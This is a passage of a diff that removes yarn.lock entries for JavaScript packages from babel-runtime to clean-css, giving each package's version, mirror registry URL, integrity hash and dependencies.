-    babel-plugin-transform-react-remove-prop-types "0.4.24"
-
-babel-runtime@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.npm.taobao.org/babel-runtime/download/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-  integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
-  dependencies:
-    core-js "^2.4.0"
-    regenerator-runtime "^0.11.0"
-
-babylon@^6.18.0:
-  version "6.18.0"
-  resolved "https://registry.npm.taobao.org/babylon/download/babylon-6.18.0.tgz#af2f3b88fa6f5c1e4c634d1a0f8eac4f55b395e3"
-  integrity sha1-ry87iPpvXB5MY00aD46sT1WzleM=
-
-balanced-match@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/balanced-match/download/balanced-match-1.0.2.tgz?cache=0&sync_timestamp=1617714233441&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbalanced-match%2Fdownload%2Fbalanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
-  integrity sha1-6D46fj8wCzTLnYf2FfoMvzV2kO4=
-
-base64-js@^1.0.2:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/base64-js/download/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
-  integrity sha1-GxtEAWClv3rUC2UPCVljSBkDkwo=
-
-base@^0.11.1:
-  version "0.11.2"
-  resolved "https://registry.npm.taobao.org/base/download/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
-  integrity sha1-e95c7RRbbVUakNuH+DxVi060io8=
-  dependencies:
-    cache-base "^1.0.1"
-    class-utils "^0.3.5"
-    component-emitter "^1.2.1"
-    define-property "^1.0.0"
-    isobject "^3.0.1"
-    mixin-deep "^1.2.0"
-    pascalcase "^0.1.1"
-
-batch@0.6.1:
-  version "0.6.1"
-  resolved "https://registry.npm.taobao.org/batch/download/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
-  integrity sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=
-
-bfj@^7.0.2:
-  version "7.0.2"
-  resolved "https://registry.npm.taobao.org/bfj/download/bfj-7.0.2.tgz#1988ce76f3add9ac2913fd8ba47aad9e651bfbb2"
-  integrity sha1-GYjOdvOt2awpE/2LpHqtnmUb+7I=
-  dependencies:
-    bluebird "^3.5.5"
-    check-types "^11.1.1"
-    hoopy "^0.1.4"
-    tryer "^1.0.1"
-
-big.js@^5.2.2:
-  version "5.2.2"
-  resolved "https://registry.nlark.com/big.js/download/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
-  integrity sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg=
-
-binary-extensions@^1.0.0:
-  version "1.13.1"
-  resolved "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65"
-  integrity sha1-WYr+VHVbKGilMw0q/51Ou1Mgm2U=
-
-binary-extensions@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
-  integrity sha1-dfUC7q+f/eQvyYgpZFvk6na9ni0=
-
-bindings@^1.5.0:
-  version "1.5.0"
-  resolved "https://registry.npm.taobao.org/bindings/download/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
-  integrity sha1-EDU8npRTNLwFEabZCzj7x8nFBN8=
-  dependencies:
-    file-uri-to-path "1.0.0"
-
-bluebird@^3.5.5:
-  version "3.7.2"
-  resolved "https://registry.npm.taobao.org/bluebird/download/bluebird-3.7.2.tgz?cache=0&sync_timestamp=1602657218976&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbluebird%2Fdownload%2Fbluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
-  integrity sha1-nyKcFb4nJFT/qXOs4NvueaGww28=
-
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9:
-  version "4.12.0"
-  resolved "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
-  integrity sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=
-
-bn.js@^5.0.0, bn.js@^5.1.1:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/bn.js/download/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002"
-  integrity sha1-NYhgZ0OWxpl3canQUfzBtX1K4AI=
-
-body-parser@1.19.0:
-  version "1.19.0"
-  resolved "https://registry.npm.taobao.org/body-parser/download/body-parser-1.19.0.tgz?cache=0&sync_timestamp=1615817950402&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbody-parser%2Fdownload%2Fbody-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-  integrity sha1-lrJwnlfJxOCab9Zqj9l5hE9p8Io=
-  dependencies:
-    bytes "3.1.0"
-    content-type "~1.0.4"
-    debug "2.6.9"
-    depd "~1.1.2"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    on-finished "~2.3.0"
-    qs "6.7.0"
-    raw-body "2.4.0"
-    type-is "~1.6.17"
-
-bonjour@^3.5.0:
-  version "3.5.0"
-  resolved "https://registry.npm.taobao.org/bonjour/download/bonjour-3.5.0.tgz#8e890a183d8ee9a2393b3844c691a42bcf7bc9f5"
-  integrity sha1-jokKGD2O6aI5OzhExpGkK897yfU=
-  dependencies:
-    array-flatten "^2.1.0"
-    deep-equal "^1.0.1"
-    dns-equal "^1.0.0"
-    dns-txt "^2.0.2"
-    multicast-dns "^6.0.1"
-    multicast-dns-service-types "^1.1.0"
-
-boolbase@^1.0.0, boolbase@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/boolbase/download/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
-  integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
-
-bootstrap@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/bootstrap/-/bootstrap-5.0.1.tgz#e7939d599119dc818a90478a2a299bdaff037e09"
-  integrity sha512-Fl79+wsLOZKoiU345KeEaWD0ik8WKRI5zm0YSPj2oF1Qr+BO7z0fco6GbUtqjoG1h4VI89PeKJnMsMMVQdKKTw==
-
-brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.npm.taobao.org/brace-expansion/download/brace-expansion-1.1.11.tgz?cache=0&sync_timestamp=1614010785257&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbrace-expansion%2Fdownload%2Fbrace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha1-PH/L9SnYcibz0vUrlm/1Jx60Qd0=
-  dependencies:
-    balanced-match "^1.0.0"
-    concat-map "0.0.1"
-
-braces@^2.3.1, braces@^2.3.2:
-  version "2.3.2"
-  resolved "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
-  integrity sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=
-  dependencies:
-    arr-flatten "^1.1.0"
-    array-unique "^0.3.2"
-    extend-shallow "^2.0.1"
-    fill-range "^4.0.0"
-    isobject "^3.0.1"
-    repeat-element "^1.1.2"
-    snapdragon "^0.8.1"
-    snapdragon-node "^2.0.1"
-    split-string "^3.0.2"
-    to-regex "^3.0.1"
-
-braces@^3.0.1, braces@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/braces/download/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
-  integrity sha1-NFThpGLujVmeI23zNs2epPiv4Qc=
-  dependencies:
-    fill-range "^7.0.1"
-
-brorand@^1.0.1, brorand@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/brorand/download/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
-  integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
-
-browser-process-hrtime@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/browser-process-hrtime/download/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
-  integrity sha1-PJtLfXgsgSHlbxAQbYTA0P/JRiY=
-
-browserify-aes@^1.0.0, browserify-aes@^1.0.4:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/browserify-aes/download/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
-  integrity sha1-Mmc0ZC9APavDADIJhTu3CtQo70g=
-  dependencies:
-    buffer-xor "^1.0.3"
-    cipher-base "^1.0.0"
-    create-hash "^1.1.0"
-    evp_bytestokey "^1.0.3"
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-browserify-cipher@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/browserify-cipher/download/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
-  integrity sha1-jWR0wbhwv9q807z8wZNKEOlPFfA=
-  dependencies:
-    browserify-aes "^1.0.4"
-    browserify-des "^1.0.0"
-    evp_bytestokey "^1.0.0"
-
-browserify-des@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/browserify-des/download/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
-  integrity sha1-OvTx9Zg5QDVy8cZiBDdfen9wPpw=
-  dependencies:
-    cipher-base "^1.0.1"
-    des.js "^1.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/browserify-rsa/download/browserify-rsa-4.1.0.tgz?cache=0&sync_timestamp=1605194257215&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbrowserify-rsa%2Fdownload%2Fbrowserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
-  integrity sha1-sv0Gtbda4pf3zi3GUfkY9b4VjI0=
-  dependencies:
-    bn.js "^5.0.0"
-    randombytes "^2.0.1"
-
-browserify-sign@^4.0.0:
-  version "4.2.1"
-  resolved "https://registry.npm.taobao.org/browserify-sign/download/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3"
-  integrity sha1-6vSt1G3VS+O7OzbAzxWrvrp5VsM=
-  dependencies:
-    bn.js "^5.1.1"
-    browserify-rsa "^4.0.1"
-    create-hash "^1.2.0"
-    create-hmac "^1.1.7"
-    elliptic "^6.5.3"
-    inherits "^2.0.4"
-    parse-asn1 "^5.1.5"
-    readable-stream "^3.6.0"
-    safe-buffer "^5.2.0"
-
-browserify-zlib@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/browserify-zlib/download/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
-  integrity sha1-KGlFnZqjviRf6P4sofRuLn9U1z8=
-  dependencies:
-    pako "~1.0.5"
-
-browserslist@4.14.2:
-  version "4.14.2"
-  resolved "https://registry.nlark.com/browserslist/download/browserslist-4.14.2.tgz?cache=0&sync_timestamp=1619789155823&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.14.2.tgz#1b3cec458a1ba87588cc5e9be62f19b6d48813ce"
-  integrity sha1-GzzsRYobqHWIzF6b5i8ZttSIE84=
-  dependencies:
-    caniuse-lite "^1.0.30001125"
-    electron-to-chromium "^1.3.564"
-    escalade "^3.0.2"
-    node-releases "^1.1.61"
-
-browserslist@^4.0.0, browserslist@^4.12.0, browserslist@^4.16.6, browserslist@^4.6.2, browserslist@^4.6.4:
-  version "4.16.6"
-  resolved "https://registry.nlark.com/browserslist/download/browserslist-4.16.6.tgz?cache=0&sync_timestamp=1619789155823&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.16.6.tgz#d7901277a5a88e554ed305b183ec9b0c08f66fa2"
-  integrity sha1-15ASd6WojlVO0wWxg+ybDAj2b6I=
-  dependencies:
-    caniuse-lite "^1.0.30001219"
-    colorette "^1.2.2"
-    electron-to-chromium "^1.3.723"
-    escalade "^3.1.1"
-    node-releases "^1.1.71"
-
-bser@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/bser/download/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
-  integrity sha1-5nh9og7OnQeZhTPP2d5vXDj0vAU=
-  dependencies:
-    node-int64 "^0.4.0"
-
-buffer-from@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/buffer-from/download/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-  integrity sha1-MnE7wCj3XAL9txDXx7zsHyxgcO8=
-
-buffer-indexof@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/buffer-indexof/download/buffer-indexof-1.1.1.tgz#52fabcc6a606d1a00302802648ef68f639da268c"
-  integrity sha1-Uvq8xqYG0aADAoAmSO9o9jnaJow=
-
-buffer-xor@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/buffer-xor/download/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
-  integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
-
-buffer@^4.3.0:
-  version "4.9.2"
-  resolved "https://registry.npm.taobao.org/buffer/download/buffer-4.9.2.tgz?cache=0&sync_timestamp=1606098175437&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbuffer%2Fdownload%2Fbuffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
-  integrity sha1-Iw6tNEACmIZEhBqwJEr4xEu+Pvg=
-  dependencies:
-    base64-js "^1.0.2"
-    ieee754 "^1.1.4"
-    isarray "^1.0.0"
-
-builtin-modules@^3.1.0:
-  version "3.2.0"
-  resolved "https://registry.npm.taobao.org/builtin-modules/download/builtin-modules-3.2.0.tgz#45d5db99e7ee5e6bc4f362e008bf917ab5049887"
-  integrity sha1-RdXbmefuXmvE82LgCL+RerUEmIc=
-
-builtin-status-codes@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/builtin-status-codes/download/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
-  integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
-
-bytes@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/bytes/download/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048"
-  integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=
-
-bytes@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/bytes/download/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-  integrity sha1-9s95M6Ng4FiPqf3oVlHNx/gF0fY=
-
-cacache@^12.0.2:
-  version "12.0.4"
-  resolved "https://registry.nlark.com/cacache/download/cacache-12.0.4.tgz?cache=0&sync_timestamp=1621949655085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcacache%2Fdownload%2Fcacache-12.0.4.tgz#668bcbd105aeb5f1d92fe25570ec9525c8faa40c"
-  integrity sha1-ZovL0QWutfHZL+JVcOyVJcj6pAw=
-  dependencies:
-    bluebird "^3.5.5"
-    chownr "^1.1.1"
-    figgy-pudding "^3.5.1"
-    glob "^7.1.4"
-    graceful-fs "^4.1.15"
-    infer-owner "^1.0.3"
-    lru-cache "^5.1.1"
-    mississippi "^3.0.0"
-    mkdirp "^0.5.1"
-    move-concurrently "^1.0.1"
-    promise-inflight "^1.0.1"
-    rimraf "^2.6.3"
-    ssri "^6.0.1"
-    unique-filename "^1.1.1"
-    y18n "^4.0.0"
-
-cacache@^15.0.5:
-  version "15.2.0"
-  resolved "https://registry.nlark.com/cacache/download/cacache-15.2.0.tgz?cache=0&sync_timestamp=1621949655085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcacache%2Fdownload%2Fcacache-15.2.0.tgz#73af75f77c58e72d8c630a7a2858cb18ef523389"
-  integrity sha1-c69193xY5y2MYwp6KFjLGO9SM4k=
-  dependencies:
-    "@npmcli/move-file" "^1.0.1"
-    chownr "^2.0.0"
-    fs-minipass "^2.0.0"
-    glob "^7.1.4"
-    infer-owner "^1.0.4"
-    lru-cache "^6.0.0"
-    minipass "^3.1.1"
-    minipass-collect "^1.0.2"
-    minipass-flush "^1.0.5"
-    minipass-pipeline "^1.2.2"
-    mkdirp "^1.0.3"
-    p-map "^4.0.0"
-    promise-inflight "^1.0.1"
-    rimraf "^3.0.2"
-    ssri "^8.0.1"
-    tar "^6.0.2"
-    unique-filename "^1.1.1"
-
-cache-base@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/cache-base/download/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
-  integrity sha1-Cn9GQWgxyLZi7jb+TnxZ129marI=
-  dependencies:
-    collection-visit "^1.0.0"
-    component-emitter "^1.2.1"
-    get-value "^2.0.6"
-    has-value "^1.0.0"
-    isobject "^3.0.1"
-    set-value "^2.0.0"
-    to-object-path "^0.3.0"
-    union-value "^1.0.0"
-    unset-value "^1.0.0"
-
-call-bind@^1.0.0, call-bind@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/call-bind/download/call-bind-1.0.2.tgz?cache=0&sync_timestamp=1610402896029&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcall-bind%2Fdownload%2Fcall-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c"
-  integrity sha1-sdTonmiBGcPJqQOtMKuy9qkZvjw=
-  dependencies:
-    function-bind "^1.1.1"
-    get-intrinsic "^1.0.2"
-
-caller-callsite@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/caller-callsite/download/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134"
-  integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=
-  dependencies:
-    callsites "^2.0.0"
-
-caller-path@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/caller-path/download/caller-path-2.0.0.tgz?cache=0&sync_timestamp=1618738159926&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcaller-path%2Fdownload%2Fcaller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4"
-  integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=
-  dependencies:
-    caller-callsite "^2.0.0"
-
-callsites@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/callsites/download/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
-  integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
-
-callsites@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/callsites/download/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
-  integrity sha1-s2MKvYlDQy9Us/BRkjjjPNffL3M=
-
-camel-case@^4.1.1:
-  version "4.1.2"
-  resolved "https://registry.nlark.com/camel-case/download/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
-  integrity sha1-lygHKpVPgFIoIlpt7qazhGHhvVo=
-  dependencies:
-    pascal-case "^3.1.2"
-    tslib "^2.0.3"
-
-camelcase@5.3.1, camelcase@^5.0.0, camelcase@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.npm.taobao.org/camelcase/download/camelcase-5.3.1.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
-  integrity sha1-48mzFWnhBoEd8kL3FXJaH0xJQyA=
-
-camelcase@^6.0.0, camelcase@^6.1.0, camelcase@^6.2.0:
-  version "6.2.0"
-  resolved "https://registry.npm.taobao.org/camelcase/download/camelcase-6.2.0.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-6.2.0.tgz#924af881c9d525ac9d87f40d964e5cea982a1809"
-  integrity sha1-kkr4gcnVJaydh/QNlk5c6pgqGAk=
-
-caniuse-api@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/caniuse-api/download/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
-  integrity sha1-Xk2Q4idJYdRikZl99Znj7QCO5MA=
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-lite "^1.0.0"
-    lodash.memoize "^4.1.2"
-    lodash.uniq "^4.5.0"
-
-caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000981, caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001125, caniuse-lite@^1.0.30001219:
-  version "1.0.30001235"
-  resolved "https://registry.nlark.com/caniuse-lite/download/caniuse-lite-1.0.30001235.tgz?cache=0&sync_timestamp=1622955183947&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcaniuse-lite%2Fdownload%2Fcaniuse-lite-1.0.30001235.tgz#ad5ca75bc5a1f7b12df79ad806d715a43a5ac4ed"
-  integrity sha1-rVynW8Wh97Et95rYBtcVpDpaxO0=
-
-capture-exit@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/capture-exit/download/capture-exit-2.0.0.tgz#fb953bfaebeb781f62898239dabb426d08a509a4"
-  integrity sha1-+5U7+uvreB9iiYI52rtCbQilCaQ=
-  dependencies:
-    rsvp "^4.8.4"
-
-case-sensitive-paths-webpack-plugin@2.3.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/case-sensitive-paths-webpack-plugin/download/case-sensitive-paths-webpack-plugin-2.3.0.tgz?cache=0&sync_timestamp=1614018570698&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcase-sensitive-paths-webpack-plugin%2Fdownload%2Fcase-sensitive-paths-webpack-plugin-2.3.0.tgz#23ac613cc9a856e4f88ff8bb73bbb5e989825cf7"
-  integrity sha1-I6xhPMmoVuT4j/i7c7u16YmCXPc=
-
-chalk@2.4.2, chalk@^2.0.0, chalk@^2.4.1, chalk@^2.4.2:
-  version "2.4.2"
-  resolved "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-  integrity sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=
-  dependencies:
-    ansi-styles "^3.2.1"
-    escape-string-regexp "^1.0.5"
-    supports-color "^5.3.0"
-
-chalk@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/chalk/download/chalk-3.0.0.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-3.0.0.tgz#3f73c2bf526591f574cc492c51e2456349f844e4"
-  integrity sha1-P3PCv1JlkfV0zEksUeJFY0n4ROQ=
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-chalk@^4.0.0, chalk@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.nlark.com/chalk/download/chalk-4.1.1.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad"
-  integrity sha1-yAs/qyi/Y3HmhjMl7uZ+YYt35q0=
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-char-regex@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/char-regex/download/char-regex-1.0.2.tgz?cache=0&sync_timestamp=1622808992763&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchar-regex%2Fdownload%2Fchar-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf"
-  integrity sha1-10Q1giYhf5ge1Y9Hmx1rzClUXc8=
-
-check-types@^11.1.1:
-  version "11.1.2"
-  resolved "https://registry.npm.taobao.org/check-types/download/check-types-11.1.2.tgz#86a7c12bf5539f6324eb0e70ca8896c0e38f3e2f"
-  integrity sha1-hqfBK/VTn2Mk6w5wyoiWwOOPPi8=
-
-chokidar@^2.1.8:
-  version "2.1.8"
-  resolved "https://registry.npm.taobao.org/chokidar/download/chokidar-2.1.8.tgz?cache=0&sync_timestamp=1610719375974&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917"
-  integrity sha1-gEs6e2qZNYw8XGHnHYco8EHP+Rc=
-  dependencies:
-    anymatch "^2.0.0"
-    async-each "^1.0.1"
-    braces "^2.3.2"
-    glob-parent "^3.1.0"
-    inherits "^2.0.3"
-    is-binary-path "^1.0.0"
-    is-glob "^4.0.0"
-    normalize-path "^3.0.0"
-    path-is-absolute "^1.0.0"
-    readdirp "^2.2.1"
-    upath "^1.1.1"
-  optionalDependencies:
-    fsevents "^1.2.7"
-
-chokidar@^3.4.1:
-  version "3.5.1"
-  resolved "https://registry.npm.taobao.org/chokidar/download/chokidar-3.5.1.tgz?cache=0&sync_timestamp=1610719375974&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
-  integrity sha1-7pznu+vSt59J8wR5nVRo4x4U5oo=
-  dependencies:
-    anymatch "~3.1.1"
-    braces "~3.0.2"
-    glob-parent "~5.1.0"
-    is-binary-path "~2.1.0"
-    is-glob "~4.0.1"
-    normalize-path "~3.0.0"
-    readdirp "~3.5.0"
-  optionalDependencies:
-    fsevents "~2.3.1"
-
-chownr@^1.1.1:
-  version "1.1.4"
-  resolved "https://registry.npm.taobao.org/chownr/download/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
-  integrity sha1-b8nXtC0ypYNZYzdmbn0ICE2izGs=
-
-chownr@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/chownr/download/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece"
-  integrity sha1-Fb++U9LqtM9w8YqM1o6+Wzyx3s4=
-
-chrome-trace-event@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/chrome-trace-event/download/chrome-trace-event-1.0.3.tgz?cache=0&sync_timestamp=1617906042705&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchrome-trace-event%2Fdownload%2Fchrome-trace-event-1.0.3.tgz#1015eced4741e15d06664a957dbbf50d041e26ac"
-  integrity sha1-EBXs7UdB4V0GZkqVfbv1DQQeJqw=
-
-ci-info@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/ci-info/download/ci-info-2.0.0.tgz?cache=0&sync_timestamp=1622039942508&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fci-info%2Fdownload%2Fci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
-  integrity sha1-Z6npZL4xpR4V5QENWObxKDQAL0Y=
-
-cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/cipher-base/download/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
-  integrity sha1-h2Dk7MJy9MNjUy+SbYdKriwTl94=
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-cjs-module-lexer@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.nlark.com/cjs-module-lexer/download/cjs-module-lexer-0.6.0.tgz#4186fcca0eae175970aee870b9fe2d6cf8d5655f"
-  integrity sha1-QYb8yg6uF1lwruhwuf4tbPjVZV8=
-
-class-utils@^0.3.5:
-  version "0.3.6"
-  resolved "https://registry.npm.taobao.org/class-utils/download/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
-  integrity sha1-+TNprouafOAv1B+q0MqDAzGQxGM=
-  dependencies:
-    arr-union "^3.1.0"
-    define-property "^0.2.5"
-    isobject "^3.0.0"
-    static-extend "^0.1.1"
-
-classnames@^2.3.1:
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.3.1.tgz#dfcfa3891e306ec1dad105d0e88f4417b8535e8e"
-  integrity sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==
-
-clean-css@^4.2.3:
-  version "4.2.3"
-  resolved "https://registry.npm.taobao.org/clean-css/download/clean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78"
-  integrity sha1-UHtd59l7SO5T2ErbAWD/YhY4D3g=
-  dependencies:
-    source-map "~0.6.0"
-
